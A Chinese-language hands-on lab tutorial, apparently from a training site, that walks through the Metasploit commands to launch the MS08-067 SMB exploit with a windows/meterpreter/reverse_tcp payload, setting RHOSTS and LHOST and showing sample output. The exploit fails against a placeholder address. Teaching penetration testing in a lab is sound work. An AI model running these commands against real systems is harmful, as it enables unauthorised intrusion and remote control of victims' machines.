在 Metasploit 中使用反向 Shell Payload

LinuxBeginner
立即练习

介绍

在本实验中,你将学习在 Metasploit Framework 中使用反向 shell payload 的基本步骤。Metasploit 是一个强大的渗透测试工具,它拥有海量的漏洞利用(exploits)、payloads 和辅助模块(auxiliary modules)。

"Payload" 是在漏洞利用成功攻陷目标系统后,在目标系统上运行的代码。"反向 shell" 是一种 payload 类型,在这种类型中,被攻陷的目标机器会主动连接回攻击者的机器。这种技术常用于绕过可能阻止对目标机器的入站连接但允许出站连接的防火墙。

我们将使用 windows/meterpreter/reverse_tcp payload。Meterpreter 是一个先进的、功能丰富的 payload,它提供了一个交互式 shell,允许攻击者执行命令、上传/下载文件以及执行许多其他后渗透活动。

在本实验结束时,你将理解选择漏洞利用、配置反向 shell payload 和发起攻击的工作流程。

为目标选择漏洞利用模块

在此步骤中,我们将启动 Metasploit Framework 控制台并选择一个漏洞利用模块。漏洞利用(exploit)是一段利用系统中特定漏洞的代码。在本实验中,我们将出于教育目的使用一个广为人知的漏洞利用。

首先,从你的桌面打开一个终端。

现在,启动 Metasploit 控制台。我们将使用 -q 标志进行“静默”启动,它会抑制启动横幅。

msfconsole -q

Metasploit 加载后,你将看到 msf6 > 提示符。这是 Metasploit 的命令行界面。

我们的下一步是选择一个漏洞利用。我们将使用 use 命令,后跟漏洞利用模块的名称。在本实验中,我们将针对 MS08-067 漏洞,这是一个经典且可靠的针对旧版 Windows 系统的漏洞利用。

在 msf6 > 提示符中输入以下命令:

use exploit/windows/smb/ms08_067_netapi

按下 Enter 后,你会注意到提示符发生了变化。它现在包含了所选漏洞利用的名称,表明你正处于该模块的上下文中。

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

你现在已成功选择了一个漏洞利用模块,并准备好进行配置。

设置 payload 为 windows/meterpreter/reverse_tcp

在此步骤中,你将为选定的漏洞利用设置 payload。Payload 是在漏洞利用成功后将在目标机器上执行的代码。正如在介绍中所提到的,我们将使用一个反向 TCP Meterpreter payload。

当你选择漏洞利用时,Metasploit 可能已默认设置为此 payload(如上一步输出所示),但显式设置它是良好的实践,以确保配置了正确的 payload。

在 msf6 exploit(windows/smb/ms08_067_netapi) > 提示符下,使用 set payload 命令:

set payload windows/meterpreter/reverse_tcp

运行命令后,Metasploit 将确认更改。

payload => windows/meterpreter/reverse_tcp

要查看你可以为选定的漏洞利用和 payload 配置的所有选项,你可以使用 show options 命令。这是一个非常有用的命令,可以在发起攻击前查看哪些参数是必需的。

show options

你将看到模块选项、payload 选项和漏洞利用目标的列表。请注意 RHOSTS 和 LHOST 选项,我们将在接下来的步骤中配置它们。

为漏洞利用设置 RHOSTS 选项

在此步骤中,我们将配置 RHOSTS 选项。RHOSTS 代表“远程主机(Remote Host(s))”,它指定了你想要攻击的目标机器的 IP 地址。

要使任何漏洞利用生效,你必须告知 Metasploit 将其发送到何处。set 命令用于配置这些选项。

在实际场景中,你将通过侦察(reconnaissance)来确定目标的 IP 地址。在本实验中,我们将使用一个占位符 IP 地址。

在 msf6 exploit(...) > 提示符下,将 RHOSTS 设置为 10.0.2.15。

set RHOSTS 10.0.2.15

Metasploit 将确认 RHOSTS 选项已设置。

RHOSTS => 10.0.2.15

你现在已经告诉 Metasploit 要以哪台机器为目标。

将 LHOST 选项设置为你的 Kali IP 地址

在此步骤中,我们将设置 LHOST 选项。LHOST 代表“本地主机(Local Host)”,它必须设置为你的机器(攻击者机器)的 IP 地址。这是反向 shell 的一个关键步骤,因为它告诉被攻陷的目标应该回连到哪里。

要查找你的机器的 IP 地址,你需要打开一个新的终端窗口。不要关闭你现有的 msfconsole 终端。你可以从应用程序菜单打开一个新的终端。

在新终端中,运行以下命令来显示你的网络接口信息:

ip addr show eth0

你将看到类似以下的输出。查找 inet 地址,这就是你的 IP。

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

在上面的示例中,IP 地址是 172.17.0.2。记下你的 IP 地址。

现在,切换回带有 msfconsole 提示符的原始终端。使用 set 命令配置 LHOST,将其设置为你刚刚找到的 IP 地址。将 YOUR_IP_ADDRESS 替换为你实际的 IP。

set LHOST YOUR_IP_ADDRESS

例如,如果你的 IP 是 172.17.0.2,命令将是:

set LHOST 172.17.0.2

Metasploit 将确认设置:

LHOST => 172.17.0.2

所有必需的选项现已配置完毕。

运行漏洞利用并等待目标回连

在此步骤中,所有选项都已配置完毕,你将启动漏洞利用。

exploit 命令(或其别名 run)告诉 Metasploit 启动反向连接的监听器,然后将漏洞利用发送到 RHOSTS 中指定的目标。

在 msf6 exploit(...) > 提示符下,输入:

exploit

Metasploit 现在将尝试针对目标运行漏洞利用。你将看到类似以下的输出:

[*] Started reverse TCP handler on 172.17.0.2:4444
[*] 10.0.2.15:445 - Attempting to trigger the vulnerability...
[-] 10.0.2.15:445 - Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:445).
[*] Exploit completed, but no session was created.

重要提示: 在本实验环境中,漏洞利用将失败,因为在占位符 IP 地址 10.0.2.15 处没有实际易受攻击的机器。输出“Exploit completed, but no session was created”是符合预期的。

如果这是一个真实存在的、易受攻击的目标,并且漏洞利用成功,你将看到类似“Meterpreter session 1 opened”的消息,并且你的提示符将变为 meterpreter >,让你完全控制目标。

至此,使用反向 shell payload 配置和启动漏洞利用的过程已完成。要退出 Metasploit,请输入 exit。

exit

总结

在本实验中,你学习了在 Metasploit Framework 中使用反向 shell payload 的基本工作流程。

你练习了以下关键步骤:

  1. 启动 Metasploit 控制台 (msfconsole)。
  2. 使用 use 命令选择一个漏洞利用模块。
  3. 使用 set payload 命令设置 payload。
  4. 配置必要的选项,特别是 RHOSTS(目标)和 LHOST(你的监听 IP)。
  5. 使用 exploit 命令发起攻击。

你还了解了 RHOSTS 和 LHOST 之间的关键区别,以及为什么正确设置 LHOST 对于反向 shell 的成功至关重要。尽管在此模拟环境中,漏洞利用并未产生会话,但你已成功执行了真实攻击所需的所有命令。恭喜你完成了本次实验!